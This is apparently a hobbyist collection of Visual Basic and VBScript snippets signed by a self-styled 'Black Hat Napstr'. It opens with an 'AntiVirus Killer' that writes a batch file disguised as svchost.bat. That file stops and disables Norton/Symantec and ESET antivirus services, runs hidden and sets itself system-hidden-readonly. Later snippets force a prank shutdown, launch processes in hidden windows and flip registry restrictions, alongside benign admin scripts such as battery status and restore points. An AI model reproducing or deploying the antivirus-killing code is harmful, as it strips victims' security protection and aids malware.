AntiVirus Killer

Open "c:\svchost.bat" For Output As #1
Print #1, "sc config navapsvc start= disabled"
Print #1, "sc stop navapsvc"
Print #1, "sc config SmcService start= disabled"
Print #1, "sc stop SmcService"
Print #1, "taskkill /f /im rtvscan.exe /t"
Print #1, "taskkill /f /im vptray.exe /t"
Print #1, "taskkill /f /im defwatch.exe /t"
Print #1, "taskkill /f /im nod32krn.exe /t"
Print #1, "sc config nod32krn start= disabled"
Print #1, "sc stop nod32krn"
Print #1, "sc config nod32krn start= disabled"
Print #1, "sc config ekrn start= disabled"
Print #1, "sc stop ekrn"
Print #1, "taskkill /f /im egui.exe /t"
Print #1, "taskkill /f /im nod32krn.exe /t"
Print #1, "taskkill /f /im nod32kui.exe /t"
Shell "c:\svchost.bat", vbHide
FileSystem.SetAttr "c:\svchost.bat", vbSystem + vbHidden + vbReadOnly

Create a System Restore Point

' Create a System Restore Point
' supported on: Windows XP

dim spi
Set spi = Createobject("sapi.spvoice")
spi.speak "Well come napstr"
spi.speak "Initialising Automated Restore"
Const DEVICE_DRIVER_INSTALL = 10
Const BEGIN_SYSTEM_CHANGE = 100

strComputer = "."
Set objWMI = GetObject("winmgmts:" _
& "\\" & strComputer & "\root\default")

Set objItem = objWMI.Get("SystemRestore")
errResults = objItem.CreateRestorePoint _
("AUTOMATED NAPSTR RESTORE", DEVICE_DRIVER_INSTALL, BEGIN_SYSTEM_CHANGE)

spi.speak "Automated Restore point Created" 

Battery Status using WMI

'Battery information

Set objWMI = GetObject("winmgmts:\\.\root\CIMV2")
Set objA = objWMI.InstancesOf("Win32_Battery",48)
For Each objFish In objA
' The remaining time to charge the battery fully in minutes at the current charging rate and usage.
str= objFish.SystemName & VbCrLf
str=str & objFish.EstimatedChargeRemaining & " % Percent Remaining" & VbCrLf
minutes=objFish.EstimatedRunTime
hrs = Int(minutes/60)
miin = minutes Mod 60

str = str & " " & Int(minutes/60) & ":" & miin & " Hrs left" & VbCrLf

Next
'MsgBox str
Set objWMI = GetObject("winmgmts:\\.\root\WMI")
Set objA = objWMI.InstancesOf("BatteryStatus", 48)

For Each objFish In objA
'WScript.Echo objFish.getObjectText_
disch= objFish.Discharging
powe= objFish.PowerOnline

criti= objFish.Critical
chrg= objFish.Charging

Next

If disch < 0 Then
disch = "Discharging"
Else
disch =""
End If
If powe < 0 Then
powe = "Power Online"
Else
powe=""
End If
If criti < 0 Then
criti = "Critical"
Else
criti = ""
End If
If chrg < 0 Then
chrg = "Charging"
Else
chrg = ""
End If
'MsgBox ,,"Status"
Ststus="STATUS: " & disch & " " & powe & " " & criti & " " & chrg
MsgBox Ststus & VbCrLf & str, ," ЦГТІШΛТΞ ΠΛΡΣΤЯ "

Create a Process in a Hidden Window

' Create a Process in a Hidden Window

Const HIDDEN_WINDOW = 12
cmd=InputBox("Create the following process ie notepad.exe","Enter")
strComputer = "."
Set objWMIService = GetObject("winmgmts:" _
& "\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup"

)
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create(cmd, Null, objConfig, intProcessID)

Delete Old computer accounts

' Delete Old computer accounts from AC

Dim OutPutFile
Dim FileSystem

Set FileSystem = WScript.CreateObject("Scripting.FileSyst

emObject")
Set OutPutFile = FileSystem.CreateTextFile("bad_comp_names.txt", True)

On Error Resume Next

DomainString=Inputbox("Enter the domain name","Check Active Computers","DomainName")

if DomainString="" then
wscript.echo "No domain specified or script cancelled."
wscript.quit
end if

numDays=InputBox("What is the number of days to use as a cutoff for" & _
"Active Computer Accounts?","Check Active Computers","XX")

if numDays="" then
wscript.echo "No cutoff date specified or script cancelled."
wscript.quit
end if

Set DomainObj = GetObject("WinNT://"&DomainString)

if err.number<>0 then
wscript.echo "Error connecting to " & DomainString
wscript.quit
end if

DomainObj.Filter = Array("computer")
Wscript.echo " Computer Accounts in " & DomainString & " older than " & numDays & " days"
For each Computer in DomainObj
Set Account = GetObject("WinNT://" & DomainString & "/" & Computer.Name & "$")
RefreshTime = FormatNumber((Account.get("PasswordAge")

)/86400,0)
If CInt(RefreshTime) >= CInt(numDays) Then
'wscript.echo "**DELETE** " & Computer.Name & " Password Age is " & RefreshTime & " days."
OutPutFile.WriteLine Computer.Name
'Call DomainObj.Delete("Computer", Computer.Name)
End If
Next

Amazing Shutdown

Set ws = CreateObject("WScript.Shell")
Set t = CreateObject("Shell.Application")
Set v = CreateObject("SAPI.SpVoice")
't.FileRun
str = "You can't shutdown the real napstr~ You might be amazed to see what i am gonna do ~ Black Hat Napstr"

ws.Run("notepad.exe")
WScript.Sleep(1000)
ws.SendKeys("cmd ~")
For c=1 To Len(str)
WScript.Sleep(10)

ws.SendKeys Mid(str,c,1)

Next
t.ShutdownWindows

Rename the My Computer Icon on the Local Computer

' Rename the My Computer Icon on the Local Computer
' supported on: Windows 2000, Windows XP, Windows Server 2003


Const MY_COMPUTER = &H11&

Set objNetwork = CreateObject("Wscript.Network")
objComput

erName = objNetwork.ComputerName
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(MY_COMPUTER)
Set objFolderItem = objFolder.Self
objFolderItem.Name = objComputerName'"WARLOC410"

Remove Restrictions

On Error Resume Next
dim r,d,str
str="Enable Registry Editing"

Set r = CreateObject("Wscript.Shell")

r.RegWrite "HKCU\Software\Microsoft\Windows\Current

Version\Policies\System\DisableTaskMgr","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD"
r.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe"
r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckValue","2","REG_DWORD"
r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue","2","REG_DWORD"
r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckValue","0","REG_DWORD"
r.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue","2","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSaveSettings","0","REG_DWORD"
r.RegWrite "HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip","1","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor","1","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip","1","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons","0","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\Current

Version\Explorer\Advanced\WebView","1","REG_DWORD"
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden","1","REG_DWORD"

'code end here

MsgBox "All Restrictions Cleared",,"Clear"
Msgbox "Disable taskManager" & chr(32) & "NO" & chr(13) & "Disable Regisitry Tools" & chr(32) & "NO"

Enable/Disable Hidden Files

'Restriction: Disable "Hidden Files"
On Error Resume Next
dim r,d,str
str="Restriction: Disable Hidden Files "

d = MsgBox("This will disable the hidden files in your computer" & vbcrlf & "Click yes/no to Enable/Disable Restriction",1,str)
Set r = CreateObject("Wscript.Shell")
if d=1 then
r.RegWrite "HKCU\Software\Microsoft\Windows\Current

Version\Explorer\Advanced\Hidden","0","REG_DWORD"
msgbox "Restriction : ENABLED",0,str
else
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1","REG_DWORD"
msgbox "Restriction : DISABLED",0,str
end if

Enable/Disable "turn off Computer"

On Error Resume Next
dim r,d,str
str="Restriction: Disable 'turn off Computer' "

d = MsgBox("This will disable the shutdown option" & vbcrlf & "Click yes/no to Enable/Disable Restriction",1,str)
Set r = CreateObject("Wscript.Shell")
if d=1 then
r.RegWrite "HKCU\Software\Microsoft\Windows\Current

Version\Policies\Explorer\NoClose","1","REG_SZ"
msgbox "Restriction : ENABLED",0,str
else
r.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose","0","REG_SZ"
msgbox "Restriction : DISABLED",0,str
end if